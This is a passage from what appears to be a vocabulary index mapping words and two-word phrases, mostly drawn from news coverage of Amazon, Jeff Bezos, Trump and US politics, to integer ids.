119224, "pharmaceutical economist": 119225, "daily signups": 119226, "cashless businesses": 119227, "administrative improbity": 119228, "industrial agriculture": 119229, "jim dinegar": 119230, "mixtapes": 119231, "jones knockout": 119232, "lethality": 119233, "presidential election": 119234, "don publish": 119235, "particularly ironic": 119236, "rename": 119237, "secretly renegotiate": 119238, "total normal": 119239, "trump linked": 119240, "food business": 119241, "amazon conjured": 119242, "regional manufacturing": 119243, "pundits trump": 119244, "sale especially": 119245, "focused enterprise": 119246, "yodeling": 119247, "antitrust task": 119248, "sector cloud": 119249, "tax plan": 119250, "customers disliking": 119251, "loss feel": 119252, "check betraying": 119253, "amazon succeeded": 119254, "charge financial": 119255, "richest men": 119256, "exhales": 119257, "safety features": 119258, "nasa turns": 119259, "report similar": 119260, "federal authorizations": 119261, "waxwork": 119262, "meat surges": 119263, "budget office": 119264, "appreciation quote": 119265, "hua chunying": 119266, "administration cabinet": 119267, "common courtesy": 119268, "omg cancel": 119269, "look deep": 119270, "surfer": 119271, "senior associate": 119272, "disease": 119273, "000 authorities": 119274, "project wanderer": 119275, "seduce liberals": 119276, "supremely": 119277, "brazilian people": 119278, "worse home": 119279, "disclosure comcast": 119280, "relief": 119281, "toronto makes": 119282, "notable title": 119283, "night special": 119284, "turns investor": 119285, "steyer": 119286, "khashoggi bezos": 119287, "pelosi position": 119288, "investors focused": 119289, "suburban southern": 119290, "medically needy": 119291, "raunchy messages": 119292, "shape decisions": 119293, "director nominations": 119294, "folks making": 119295, "innocent man": 119296, "technology antitrust": 119297, "kafka based": 119298, "vaccine books": 119299, "peels": 119300, "mandela death": 119301, "thomas dodd": 119302, "setup": 119303, "meyerowitz stories": 119304, "saul bellow": 119305, "lobbyists just": 119306, "general leads": 119307, "editor gene": 119308, "corroborated": 119309, "seattle continue": 119310, "potential regulatory": 119311, "false claim": 119312, "looming competition": 119313, "business minded": 119314, "demoting competitors": 119315, "ensure confidentiality": 119316, "trump david": 119317, "getty president": 119318, "counter today": 119319, "69m": 119320, "monopsony": 119321, "hakeem jeffries": 119322, "scandal bezos": 119323, "extra money": 119324, "ha moment": 119325, "ami wanted": 119326, "currency hedging": 119327, "forces embedded": 119328, "physical assault": 119329, "procurement experts": 119330, "amazon group": 119331, "read nonfiction": 119332, "dumpty": 119333, "fat wringer": 119334, "existing homes": 119335, "just shovel": 119336, "recent investor": 119337, "breaks understand": 119338, "crp gives": 119339, "instant newsom": 119340, "publication purchases": 119341, "kominsky method": 119342, "assuaged": 119343, "fries yup": 119344, "race richard": 119345, "horowitz don": 119346, "description videocardcontents": 119347, "ford washington": 119348, "practically daringthe": 119349, "empirestatebldg": 119350, "100 accounts": 119351, "job killer": 119352, "mediatek": 119353, "nixon won": 119354, "world poorest": 119355, "knowledge decried": 119356, "microphone greer": 119357, "news nation": 119358, "dear netflix": 119359, "favors commercialization": 119360, "cork dailytrust": 119361, "sen amy": 119362, "reality complexity": 119363, "test skills": 119364, "broadcasting team": 119365, "unfairly low": 119366, "gone make": 119367, "time quinnipiac": 119368, "root problem": 119369, "intertwining": 119370, "privilege opportunity": 119371, "socks hair": 119372, "kavanaugh forced": 119373, "heroin": 119374, "totaling 133": 119375, "heir amazon": 119376, "medium box": 119377, "business produced": 119378, "muckerman thanks": 119379, "adverse impact": 119380, "signature tuft": 119381, "deeply ironic": 119382, "blue sidewalk": 119383, "did": 119384, "bezos money": 119385, "joe manchin": 119386, "onplayerready function": 119387, "providers providing": 119388, "news tags": 119389, "brands scott": 119390, "months specifically": 119391, "charges rent": 119392, "wine folly": 119393, "emarkter": 119394, "mankind heart": 119395, "post paying": 119396, "korea slow": 119397, "madison smith": 119398, "vet funeral": 119399, "big birthday": 119400, "pure unfussy": 119401, "potential reforms": 119402, "rules took": 119403, "publication date": 119404, "image 1150x540": 119405, "drivers applicants": 119406, "demonstrate outside": 119407, "broad consensus": 119408, "pickup trucks": 119409, "stagnate": 119410, "najarian true": 119411, "best equity": 119412, "university demonstrated": 119413, "special example": 119414, "ending contracts": 119415, "prospectors": 119416, "moves reminiscent": 119417, "freedoms asked": 119418, "official retail": 119419, "lawyers tried": 119420, "trump bashes": 119421, "trump train": 119422, "ago accusing": 119423, "postal customers": 119424, "reuters companies": 119425, "olivia holt": 119426, "facebook copied": 119427, "ipad": 119428, "visit tri": 119429, "tabloid wouldn": 119430, "men basketball": 119431, "enquirer initial": 119432, "reportedly accepted": 119433, "paper makes": 119434, "autistic": 119435, "deter online": 119436, "security consultant": 119437, "focus viewed": 119438, "ground insights": 119439, "experience app": 119440, "posterimageoverride": 119441, "techno sexual": 119442, "183": 119443, "firms need": 119444, "smart things": 119445, "just stop": 119446, "association sponsored": 119447, "provided business": 119448, "important governmental": 119449, "fiscal 2018": 119450, "share beating": 119451, "statement laying": 119452, "david ohlin": 119453, "election davie": 119454, "linen card": 119455, "journalistic scoop": 119456, "sarah wilson": 119457, "foods cattle": 119458, "foundation acquired": 119459, "480": 119460, "cannibas cultivator": 119461, "2027 regardless": 119462, "orders china": 119463, "rupi kaur": 119464, "day cost": 119465, "romania": 119466, "infringement case": 119467, "european nation": 119468, "inside warehouses": 119469, "prepared research": 119470, "story asian": 119471, "treadmill": 119472, "parents live": 119473, "financial state": 119474, "sadh": 119475, "revealed writedown": 119476, "grow new": 119477, "content provided": 119478, "broad mandate": 119479, "tsorf33 atsocialmedia": 119480, "clients net": 119481, "honey robinson": 119482, "illegal arrest": 119483, "trading cnn": 119484, "tends": 119485, "blackmail involving": 119486, "preventing amazon": 119487, "qualitative": 119488, "hyphens": 119489, "americanos": 119490, "steady trump": 119491, "asset group": 119492, "emails apparently": 119493, "trump vaguely": 119494, "bought drugstore": 119495, "385 million": 119496, "offering qualifying": 119497, "fbi president": 119498, "run network": 119499, "events lindsey": 119500, "og": 119501, "website showed": 119502, "amazon met": 119503, "structured speech": 119504, "created founded": 119505, "stephanie murphy": 119506, "signed technological": 119507, "california masks": 119508, "visionary genre": 119509, "generation college": 119510, "capita": 119511, "nungesser joyfully": 119512, "striking nerve": 119513, "article coby": 119514, "olympic committee": 119515, "students defied": 119516, "agenda just": 119517, "barrel brent": 119518, "eventually led": 119519, "angie thomas": 119520, "struck new": 119521, "global initiative": 119522, "fired shotgun": 119523, "season boyce": 119524, "make 300": 119525, "vera parra": 119526, "judicial": 119527, "messages online": 119528, "chukumba managing": 119529, "expansionary": 119530, "insider cnn": 119531, "impeachment trump": 119532, "city councils": 119533, "impersonal carell": 119534, "granholm": 119535, "hill newspaper": 119536, "senate oneplus": 119537, "obama began": 119538, "despite facing": 119539, "urgent issues": 119540, "security firm": 119541, "chip bergh": 119542, "establishing headquarters": 119543, "mean tweets": 119544, "politicians manipulative": 119545, "summit moscow": 119546, "sununu republican": 119547, "fading": 119548, "ecommerce exports": 119549, "supremely worthy": 119550, "corruption prosecutor": 119551, "hurt economy": 119552, "simple explanation": 119553, "quick bite": 119554, "miles long": 119555, "judging amazon": 119556, "audible did": 119557, "2010s": 119558, "sacrosanct": 119559, "eu ideas": 119560, "view intel": 119561, "open ended": 119562, "slow factory": 119563, "services recommends": 119564, "worker spokesperson": 119565, "second andthird": 119566, "lawyers set": 119567, "added rick": 119568, "chain dick": 119569, "wives children": 119570, "planning efforts": 119571, "entertainment capital": 119572, "sales": 119573, "beachhead": 119574, "2018 blockchain": 119575, "organization declared": 119576, "campaign sources": 119577, "historic unlikely": 119578, "market personal": 119579, "bestsellers normally": 119580, "waged repeated": 119581, "year sanders": 119582, "295 distinct": 119583, "proudly owning": 119584, "hearst": 119585, "technology companies": 119586, "hutton ordinary": 119587, "social stature": 119588, "iran north": 119589, "named deputy": 119590, "exclusion order": 119591, "properly controlled": 119592, "includinga billion": 119593, "heavily criticized": 119594, "whichis": 119595, "md sends": 119596, "z0": 119597, "bezos patronage": 119598, "single country": 119599, "tax revenues": 119600, "mineral wealth": 119601, "ex industry": 119602, "howls": 119603, "daycare teacher": 119604, "met russian": 119605, "procedures says": 119606, "reportedly led": 119607, "latest stocks": 119608, "national legislatures": 119609, "cuomo claim": 119610, "mail expansions": 119611, "zhu yuelai": 119612, "information obtained": 119613, "trump looked": 119614, "hedgehog live": 119615, "amazon erasing": 119616, "eons": 119617, "bad city": 119618, "composite fell": 119619, "sec pushes": 119620, "emblem": 119621, "contains slew": 119622, "thatrather": 119623, "flimsier": 119624, "net toronto": 119625, "132 page": 119626, "fridays": 119627, "hearing kavanaugh": 119628, "agency recommends": 119629, "content gerald": 119630, "ask people": 119631, "sees gael": 119632, "place win": 119633, "gov phil": 119634, "immediately relieve": 119635, "facial rekognition": 119636, "pew": 119637, "best quick": 119638, "trump cave": 119639, "escape taxes": 119640, "companys cloud": 119641, "la love": 119642, "feat octavio": 119643, "time trumpstore": 119644, "pubgclips": 119645, "individuals inside": 119646, "important contributor": 119647, "showrunner bryan": 119648, "46th governor": 119649, "cornell tech": 119650, "adviser 2019": 119651, "sienna received": 119652, "bohemian heterosexual": 119653, "retailer appears": 119654, "firecracker allows": 119655, "brightest winners": 119656, "qanon shirt": 119657, "ascended easily": 119658, "writing brad": 119659, "roku recent": 119660, "westworld": 119661, "reach market": 119662, "dying american": 119663, "follow 4355": 119664, "negative connotations": 119665, "consoles": 119666, "court blocking": 119667, "opening second": 119668, "countless": 119669, "republican fcc": 119670, "mass essential": 119671, "critics trump": 119672, "ended lower": 119673, "alatriste city": 119674, "228": 119675, "mccann managing": 119676, "tweeted minutes": 119677, "jr size": 119678, "vehicle revolution": 119679, "followed critical": 119680, "opined": 119681, "dollar companies": 119682, "president glenn": 119683, "ndaa": 119684, "steamy text": 119685, "alice miranda": 119686, "semitic": 119687, "liberties director": 119688, "null inc_custom_teaser": 119689, "megyn kellys": 119690, "newspaper new": 119691, "numbers people": 119692, "slapped google": 119693, "albin lohr": 119694, "windows": 119695, "gusher": 119696, "000 deaths": 119697, "shelves plans": 119698, "schar school": 119699, "baseball caps": 119700, "banking watchdog": 119701, "donations meaning": 119702, "nvidia announced": 119703, "wrote thanks": 119704, "howard notes": 119705, "shoaib": 119706, "partnered": 119707, "dark turn": 119708, "ellison argued": 119709, "shipping volume": 119710, "transcript transcription": 119711, "leaving viewers": 119712, "articles lawmakers": 119713, "days bbc": 119714, "planet worth": 119715, "active discussions": 119716, "j1 _self": 119717, "aurora holds": 119718, "firms hired": 119719, "loaned": 119720, "reel trump": 119721, "retailing behemoth": 119722, "2019 representatives": 119723, "5etweetembed": 119724, "pose greater": 119725, "order meant": 119726, "wehave previously": 119727, "established procedures": 119728, "feel particularly": 119729, "david kully": 119730, "stalling": 119731, "government administration": 119732, "term profits": 119733, "abound": 119734, "tech shooting": 119735, "entering manhattan": 119736, "presto": 119737, "york version": 119738, "tusk": 119739, "dead including": 119740, "tags fear": 119741, "business ray": 119742, "lunch jim": 119743, "group cto": 119744, "does political": 119745, "domestic labor": 119746, "wayward son": 119747, "249 points": 119748, "sector sparked": 119749, "ignores trump": 119750, "agency adopted": 119751, "planned love": 119752, "battle deputy": 119753, "voters viewed": 119754, "gruesome information": 119755, "matt marcophones": 119756, "politico amanda": 119757, "choices according": 119758, "integrated transportation": 119759, "rate offerings": 119760, "individual income": 119761, "ugliest act": 119762, "polls archive": 119763, "alice rohrwacher": 119764, "496 billion": 119765, "concerning readers": 119766, "asked tory": 119767, "freelance author": 119768, "identification number": 119769, "humayun khan": 119770, "braces": 119771, "1973 film": 119772, "takes frequent": 119773, "crimes notably": 119774, "seller fulfilled": 119775, "400 compared": 119776, "charges analysts": 119777, "potential legal": 119778, "amazon logo": 119779, "aisle president": 119780, "assault human": 119781, "chow": 119782, "head jeff": 119783, "fbi rep": 119784, "stabilized building": 119785, "alliance cvs": 119786, "post blue": 119787, "boyfriend nicholas": 119788, "trump bellyaching": 119789, "article dogs": 119790, "judge rips": 119791, "photographs juxtaposed": 119792, "earned usps": 119793, "daniels stormy": 119794, "wishes good": 119795, "communities bezos": 119796, "private rights": 119797, "warehouse sanders": 119798, "abuse nys": 119799, "agreement leaving": 119800, "story billionaire": 119801, "movie centers": 119802, "monopoly stance": 119803, "abut": 119804, "davis hanson": 119805, "2017 season": 119806, "designated investments": 119807, "markets responded": 119808, "order did": 119809, "included vivid": 119810, "introspective": 119811, "experience news": 119812, "inquired": 119813, "began sharpton": 119814, "government claims": 119815, "2016 crc": 119816, "fed report": 119817, "employees believe": 119818, "america imageurl": 119819, "jet sending": 119820, "drawing 2017": 119821, "gordy": 119822, "bush movie": 119823, "sex national": 119824, "paloma esquivel": 119825, "government lobbying": 119826, "abusive": 119827, "employees close": 119828, "peaks returned": 119829, "inflation adjusted": 119830, "products sold": 119831, "oknyansky": 119832, "tennessee history": 119833, "extended discussions": 119834, "dancers": 119835, "seventeen year": 119836, "birds fish": 119837, "evaded taxes": 119838, "677dp3p5tenxgcpb032d pf_rd_t": 119839, "fox says": 119840, "conduct does": 119841, "military initiative": 119842, "forget": 119843, "really hostile": 119844, "story costco": 119845, "stopped snapchat": 119846, "illnesses real": 119847, "president supporters": 119848, "amazonwashingtonpost": 119849, "joshua roberts": 119850, "t000047680 t000023123": 119851, "owned youtube": 119852, "especially facebook": 119853, "rtdschapiro listen": 119854, "evil corporation": 119855, "recruiting big": 119856, "brit hume": 119857, "boss jennifer": 119858, "london new": 119859, "eu copyright": 119860, "paper editor": 119861, "isis": 119862, "trump citing": 119863, "original online": 119864, "bolsonaro dubbed": 119865, "robert bork": 119866, "blockbuster": 119867, "comp": 119868, "welfare recipients": 119869, "cuomo controls": 119870, "republicans sen": 119871, "nycha jeff": 119872, "programs congress": 119873, "exacting aerospace": 119874, "reuters christopher": 119875, "minister lest": 119876, "intel 50th": 119877, "bogus medical": 119878, "european commission": 119879, "dubious tax": 119880, "financial advisor": 119881, "media properties": 119882, "battle odds": 119883, "certainly": 119884, "messing": 119885, "populist government": 119886, "agenda long": 119887, "treaty stoltenberg": 119888, "avoid proper": 119889, "elie mystal": 119890, "political split": 119891, "crisis especially": 119892, "security charles": 119893, "company visit": 119894, "angle lawmakers": 119895, "injunction prohibiting": 119896, "make purchase": 119897, "shop half": 119898, "comfortable using": 119899, "floodwaters": 119900, "reopened bristlecone": 119901, "tears falling": 119902, "great progress": 119903, "cancer survivors": 119904, "fbi rise": 119905, "shopper profiles": 119906, "community advisory": 119907, "fasb takes": 119908, "push car": 119909, "cjr emily": 119910, "milton friedman": 119911, "penguin reprinted": 119912, "carr\u00e9 spy": 119913, "week google": 119914, "trump previously": 119915, "peg case": 119916, "drum": 119917, "tough competitor": 119918, "news send": 119919, "saying investigators": 119920, "spokesman declared": 119921, "tchaikovsky": 119922, "merch program": 119923, "traders remain": 119924, "building large": 119925, "amazon gameon": 119926, "amazon failure": 119927, "viticultural": 119928, "keatonesque": 119929, "educational training": 119930, "stop using": 119931, "respondents reflected": 119932, "bezos photographer": 119933, "instant access": 119934, "jobs memphis": 119935, "afford health": 119936, "covey": 119937, "wondered aloud": 119938, "trial": 119939, "liberals amazon": 119940, "41cgljgol2l prest": 119941, "medicrea group": 119942, "conversation norah": 119943, "public procurement": 119944, "inspired sen": 119945, "marketwatch billionaire": 119946, "president related": 119947, "pro employment": 119948, "complete coverage": 119949, "risk pool": 119950, "wealth ownership": 119951, "climate created": 119952, "speech biden": 119953, "ruth negga": 119954, "bezos low": 119955, "eshbach beach": 119956, "purchase products": 119957, "necessary software": 119958, "poorer bezos": 119959, "amazon cats": 119960, "markets hit": 119961, "residents long": 119962, "trailhead": 119963, "test jokes": 119964, "prey": 119965, "mato grosso": 119966, "drama filled": 119967, "vegan option": 119968, "favorite genre": 119969, "inevitable small": 119970, "finally surpassed": 119971, "indefinite quantity": 119972, "weight guess": 119973, "enquirer radar": 119974, "post having": 119975, "fda cig": 119976, "vanity race": 119977, "young children": 119978, "architect solution": 119979, "context page": 119980, "airasia": 119981, "advance really": 119982, "lanny davis": 119983, "itunes racist": 119984, "recruitment hr": 119985, "surrounds bezos": 119986, "earnest argument": 119987, "competitive subsidization": 119988, "image aziz": 119989, "propel amazon": 119990, "courts haven": 119991, "shipping setups": 119992, "tribune editorial": 119993, "featuring bezos": 119994, "sc": 119995, "remains chief": 119996, "module": 119997, "space agency": 119998, "furor": 119999, "switch p9x": 120000, "entire familiar": 120001, "new thing": 120002, "toddlewood royal": 120003, "flank": 120004, "small demand": 120005, "bongino": 120006, "entendre": 120007, "small decline": 120008, "worrying perspective": 120009, "degrees hotter": 120010, "bad jim": 120011, "tissue": 120012, "000 illegal": 120013, "aretha": 120014, "previously licensed": 120015, "amazon hard": 120016, "healers": 120017, "740m": 120018, "president suggests": 120019, "joaquin": 120020, "12bn": 120021, "google khan": 120022, "germany 11319": 120023, "interior business": 120024, "latino communities": 120025, "anticlimactic": 120026, "french amazon": 120027, "contributions plutocrats": 120028, "braney": 120029, "things better": 120030, "strong advances": 120031, "deal space": 120032, "announcement sparked": 120033, "wisconsin negotiated": 120034, "atif": 120035, "2017 claiming": 120036, "wine expert": 120037, "outside homes": 120038, "american retail": 120039, "hen house": 120040, "christopher misztal": 120041, "sheriffs": 120042, "cap fast": 120043, "angry tweets": 120044, "steered exclusively": 120045, "taxes socialism": 120046, "reuters euronext": 120047, "button streaming": 120048, "defined plan": 120049, "deals exclusively": 120050, "percentage points": 120051, "gop plan": 120052, "overwork": 120053, "infinity war": 120054, "matt wood": 120055, "getting really": 120056, "change donald": 120057, "residents suing": 120058, "blinch": 120059, "youknow": 120060, "jolley began": 120061, "win raises": 120062, "detailed bezos": 120063, "captioning": 120064, "obama 477": 120065, "unfairly undercutting": 120066, "stopthebias pic": 120067, "development south": 120068, "story writer": 120069, "nightingale": 120070, "justice declined": 120071, "comment mueller": 120072, "infuriating": 120073, "counterfeitsfraud": 120074, "money lifestyle": 120075, "kente": 120076, "charge really": 120077, "administrations": 120078, "mulling": 120079, "budget constraints": 120080, "big district": 120081, "developed tools": 120082, "blistering attacks": 120083, "patient": 120084, "later told": 120085, "gallo": 120086, "books wild": 120087, "severe frostbite": 120088, "teenage": 120089, "attacking bezos": 120090, "woefully": 120091, "learn suppliers": 120092, "price gouging": 120093, "allocate": 120094, "sell surveillance": 120095, "utilizes robots": 120096, "las vegas": 120097, "larger tech": 120098, "money thanks": 120099, "prosecutors investigating": 120100, "zte chinese": 120101, "feminist humour": 120102, "originally": 120103, "china did": 120104, "brent thill": 120105, "executive power": 120106, "jolts data": 120107, "fedex claimed": 120108, "nurturing instrumentalities": 120109, "sold 202": 120110, "salma": 120111, "newsstands today": 120112, "ofphone calls": 120113, "skilled assets": 120114, "972 billion": 120115, "issued request": 120116, "weeks executive": 120117, "phone number": 120118, "bearishness": 120119, "month financial": 120120, "private email": 120121, "simplify medication": 120122, "divisive polices": 120123, "harassed homeland": 120124, "evans constantine": 120125, "cultures": 120126, "m6eninumqn pic": 120127, "larger economic": 120128, "carrefour": 120129, "just prices": 120130, "costco sells": 120131, "mid teens": 120132, "comprehensive site": 120133, "house bush": 120134, "texas facility": 120135, "rates cites": 120136, "factor weighing": 120137, "23c": 120138, "guests": 120139, "defeat donald": 120140, "723": 120141, "landmark earlier": 120142, "mind facebook": 120143, "annenberg": 120144, "loopholes amazon": 120145, "designated land": 120146, "party companies": 120147, "daughter ivanka": 120148, "qualifying notorious": 120149, "apple imessage": 120150, "delivery facilities": 120151, "analysts estimate": 120152, "bezos dissolving": 120153, "reporting trump": 120154, "obliterate": 120155, "pakistani american": 120156, "controlled eastern": 120157, "ends 2018": 120158, "european display": 120159, "article dont": 120160, "brands lb": 120161, "military plane": 120162, "enquirer isn": 120163, "marijuana ghetto": 120164, "instantly defending": 120165, "kilgore 415": 120166, "secretly whisper": 120167, "week hours": 120168, "yes maybe": 120169, "later gm": 120170, "obtained dick": 120171, "bezos applauding": 120172, "landmark eu": 120173, "currently consulting": 120174, "west story": 120175, "hikes wage": 120176, "time sarah": 120177, "moderate credentials": 120178, "reduced forecasts": 120179, "times concerning": 120180, "nintendo switch": 120181, "administration contends": 120182, "american agricultural": 120183, "formed lobby": 120184, "potentially illegal": 120185, "lieu plays": 120186, "low schumer": 120187, "wanting": 120188, "military aircraft": 120189, "change dallas": 120190, "years covering": 120191, "kavanaugh protesters": 120192, "close according": 120193, "native vegetation": 120194, "penny": 120195, "bankrupt properties": 120196, "robocall scammers": 120197, "various actions": 120198, "service center": 120199, "gamingnews": 120200, "online traffic": 120201, "service punish": 120202, "tech especially": 120203, "separated gotenna": 120204, "accrual": 120205, "contained itemised": 120206, "signing hush": 120207, "jim yong": 120208, "mental illness": 120209, "rally scheduled": 120210, "person added": 120211, "growth stronger": 120212, "adage loose": 120213, "drew vollero": 120214, "weekly flow": 120215, "loss disappointingly": 120216, "facebook practices": 120217, "internet companies": 120218, "suspicions": 120219, "lieu tedlieu": 120220, "republican democratic": 120221, "bezos lax": 120222, "telecom company": 120223, "1896": 120224, "alliance launched": 120225, "hiking postal": 120226, "political liberty": 120227, "correction previous": 120228, "amazon aim": 120229, "unfortunately jeff": 120230, "life having": 120231, "fascinating exciting": 120232, "alternative realities": 120233, "portfolio decreased": 120234, "totally new": 120235, "recusing": 120236, "moved china": 120237, "held belief": 120238, "fbi leaders": 120239, "address jeff": 120240, "topid": 120241, "tax fees": 120242, "plants evolved": 120243, "coal industry": 120244, "don merely": 120245, "confounded": 120246, "trading markets": 120247, "heels despite": 120248, "government granted": 120249, "overall khosrowshahi": 120250, "businessman joe": 120251, "auspices": 120252, "bankrolled": 120253, "supporters threatened": 120254, "rev alejandro": 120255, "clergy abuse": 120256, "koshinski": 120257, "information dod": 120258, "office charges": 120259, "happen wapo": 120260, "options covering": 120261, "week secretary": 120262, "aapl tim": 120263, "policies amazon": 120264, "gettyimages 627666862": 120265, "case writes": 120266, "sales multiples": 120267, "product safety": 120268, "community center": 120269, "don vaccinate": 120270, "time wapo": 120271, "employees urinating": 120272, "response senator": 120273, "blackface": 120274, "tucker": 120275, "hawaii lava": 120276, "design companies": 120277, "800 miles": 120278, "inappropriate": 120279, "palette": 120280, "carey usher": 120281, "htm": 120282, "journal welcome": 120283, "boston ap": 120284, "tweeted claims": 120285, "sinegal ceo": 120286, "engagement rates": 120287, "associated sharp": 120288, "traced": 120289, "divcon": 120290, "turnover soar": 120291, "molson coors": 120292, "frantically sifting": 120293, "defends": 120294, "different commerce": 120295, "khashoggi old": 120296, "ninja": 120297, "mandate ebola": 120298, "poets heid": 120299, "analysts worry": 120300, "female friends": 120301, "mohammed bezos": 120302, "screwdrivers exist": 120303, "harry sandick": 120304, "trump potential": 120305, "held primaries": 120306, "106 shares": 120307, "predictions says": 120308, "reliably anti": 120309, "british teenager": 120310, "democrat told": 120311, "macy foto": 120312, "services treasury": 120313, "little 2018": 120314, "hoosiers": 120315, "contract signing": 120316, "welcom aboard": 120317, "possible trigger": 120318, "gfm": 120319, "carries huge": 120320, "jerusalem status": 120321, "amazon mean": 120322, "daina": 120323, "scheme american": 120324, "f4 z4": 120325, "donut day": 120326, "eagle hill": 120327, "aljazeera yemen": 120328, "biased ahead": 120329, "1988 killing": 120330, "785": 120331, "simply ignore": 120332, "586": 120333, "country did": 120334, "kevin fields": 120335, "fernandes took": 120336, "trump lest": 120337, "officials announcing": 120338, "org semissourian": 120339, "eminent": 120340, "thefbi andrew": 120341, "fund politifact": 120342, "report appeared": 120343, "deal opposition": 120344, "donnell modern": 120345, "enroute using": 120346, "dissuade": 120347, "kristen stewart": 120348, "misimpression": 120349, "flickr loiclemeur": 120350, "fried egg": 120351, "amazon alliances": 120352, "drink": 120353, "unworkable": 120354, "elementcontents caption": 120355, "china based": 120356, "graph": 120357, "apparent meeting": 120358, "probably obtained": 120359, "internet behemoth": 120360, "set minimal": 120361, "market tents": 120362, "longterm success": 120363, "harsh working": 120364, "pre crime": 120365, "india chief": 120366, "site mission": 120367, "utah": 120368, "grandchildren": 120369, "garbage compromise": 120370, "howard taft": 120371, "manage internet": 120372, "status amazon": 120373, "clear parallel": 120374, "justice science": 120375, "new minimum": 120376, "saudi ruler": 120377, "sensible policy": 120378, "continued control": 120379, "targeted mccaskill": 120380, "speeches": 120381, "reports record": 120382, "significantly increase": 120383, "shared similar": 120384, "targeting": 120385, "billy graham": 120386, "historical stance": 120387, "remembering": 120388, "stamps used": 120389, "new favorite": 120390, "island painted": 120391, "better align": 120392, "acquisition maximize": 120393, "added later": 120394, "accountability workplace": 120395, "million marginalized": 120396, "correspondent maria": 120397, "friendly": 120398, "plans working": 120399, "newspaper shows": 120400, "marketplace meaning": 120401, "human rights": 120402, "crowdsourced delivery": 120403, "terrorism ipt": 120404, "shot manufacturers": 120405, "doesn preach": 120406, "institute drew": 120407, "whitesell lauren": 120408, "bailey slumber": 120409, "alexandra scaggs": 120410, "murphy anthology": 120411, "story latest": 120412, "life little": 120413, "homelessness": 120414, "business marketing": 120415, "fires coming": 120416, "accolades": 120417, "andthat": 120418, "automated industrial": 120419, "making reforms": 120420, "korea korean": 120421, "doubles tariffs": 120422, "cristina right": 120423, "pushback": 120424, "practice trump": 120425, "greer cornish": 120426, "owners timothy": 120427, "caption rex": 120428, "costs plus": 120429, "doer": 120430, "bezos kicking": 120431, "mortar world": 120432, "bezos favorite": 120433, "presley love": 120434, "affairs department": 120435, "shelters facebook": 120436, "struggling amazon": 120437, "team eric": 120438, "vuillard meditation": 120439, "cover": 120440, "hand trump": 120441, "apparel connecticut": 120442, "arax": 120443, "thinkneeds": 120444, "sensanders tweeted": 120445, "oppose slavery": 120446, "ecosystem check": 120447, "granted hundreds": 120448, "amy eley": 120449, "challenges challenge": 120450, "navarro apologized": 120451, "explained": 120452, "trucking industry": 120453, "total bullsh": 120454, "assessment contained": 120455, "aparicio stream": 120456, "damn twitter": 120457, "institute philippine": 120458, "plain quirky": 120459, "joe raedle": 120460, "xi meets": 120461, "marketing organization": 120462, "today breaking": 120463, "axis powers": 120464, "president carlyle": 120465, "draw tells": 120466, "hoping": 120467, "birmingham": 120468, "partner offering": 120469, "receive paid": 120470, "shira golan": 120471, "latinos": 120472, "general kelly": 120473, "publish additional": 120474, "year hasn": 120475, "silver lining": 120476, "amazon sale": 120477, "deal details": 120478, "als google": 120479, "usps suggested": 120480, "old foe": 120481, "rosenstein": 120482, "calm measured": 120483, "won recognition": 120484, "colin farrell": 120485, "predominant feature": 120486, "marion cotillard": 120487, "write tech": 120488, "bezos responding": 120489, "sciences unit": 120490, "highs says": 120491, "stocks started": 120492, "don currently": 120493, "andy biggs": 120494, "repair public": 120495, "mount discounts": 120496, "landmark sent": 120497, "water filtration": 120498, "typed": 120499, "laws governing": 120500, "jerome_corsi muellerism": 120501, "basis today": 120502, "salesforce positions": 120503, "consumer driven": 120504, "direct commerce": 120505, "opting public": 120506, "demand woodward": 120507, "share border": 120508, "bezos pledged": 120509, "terra incognita": 120510, "hill rom": 120511, "wall invoking": 120512, "map showing": 120513, "studios original": 120514, "streaming": 120515, "tilefeatureimage": 120516, "shows disdain": 120517, "monopoly president": 120518, "disappear": 120519, "average max": 120520, "elemental servers": 120521, "long partnership": 120522, "bulb included": 120523, "sexist": 120524, "deletes": 120525, "expertly takes": 120526, "led task": 120527, "major new": 120528, "jawad sent": 120529, "manafort requests": 120530, "partners managing": 120531, "anonymity sanchez": 120532, "operates": 120533, "fiefdoms trying": 120534, "michelin": 120535, "recalibrate defiant": 120536, "depicts president": 120537, "monsters jeff": 120538, "colleges sent": 120539, "volume shows": 120540, "accelerating revenue": 120541, "secret bolsonaro": 120542, "obamas": 120543, "report says": 120544, "structure noting": 120545, "trump renews": 120546, "district attorneys": 120547, "waffled": 120548, "brand awareness": 120549, "uncanny tech": 120550, "directly breaking": 120551, "2018 weiser": 120552, "increasingly popular": 120553, "kinsella": 120554, "voters decisions": 120555, "right wearing": 120556, "loathed": 120557, "night passage": 120558, "witch population": 120559, "agencies sued": 120560, "website sale": 120561, "learn click": 120562, "beenable": 120563, "kumar elise": 120564, "operational thankfully": 120565, "passed spending": 120566, "news dragged": 120567, "rubenstein founder": 120568, "given multiple": 120569, "iphone battery": 120570, "china iran": 120571, "forgetting sarah": 120572, "italy di": 120573, "banks bezos": 120574, "shipt": 120575, "returned cnn": 120576, "vast savanna": 120577, "goff chris": 120578, "tech careers": 120579, "say yes": 120580, "clear apple": 120581, "investigation does": 120582, "morning bartiromo": 120583, "crenshaw": 120584, "owns pbm": 120585, "bond yields": 120586, "question indian": 120587, "hashtag day1": 120588, "dysfunctional process": 120589, "smartphone app": 120590, "says hartnett": 120591, "newspeson lauren": 120592, "carb": 120593, "lou dobbs": 120594, "alleged bias": 120595, "2018 dj": 120596, "legal argument": 120597, "fight donald": 120598, "frame": 120599, "globes party": 120600, "york afp": 120601, "arry yu": 120602, "various causes": 120603, "schlosser": 120604, "war read": 120605, "gurr": 120606, "claim appears": 120607, "day leading": 120608, "pamphlet": 120609, "zaccone": 120610, "unstoppable witness": 120611, "phony dossier": 120612, "times delved": 120613, "ruggedized": 120614, "hero": 120615, "away italy": 120616, "legacy business": 120617, "research unit": 120618, "starring taran": 120619, "huh mock": 120620, "offer discounts": 120621, "living illegally": 120622, "christian haines": 120623, "tolling mechanism": 120624, "smartsheet fought": 120625, "obstruction haley": 120626, "russia": 120627, "contributor earlier": 120628, "trump taxes": 120629, "newsday": 120630, "manage nearly": 120631, "micro managing": 120632, "thorough": 120633, "nyt steve": 120634, "term future": 120635, "value raymond": 120636, "michael stretched": 120637, "large families": 120638, "malik": 120639, "following new": 120640, "colorado based": 120641, "revised 41m": 120642, "floundered": 120643, "surrealist": 120644, "cigar ted": 120645, "vehicles customised": 120646, "embroiled": 120647, "232": 120648, "bloc trump": 120649, "congressman dana": 120650, "european workers": 120651, "conga line": 120652, "thinking skills": 120653, "reached consensus": 120654, "standard blue": 120655, "function return": 120656, "trip 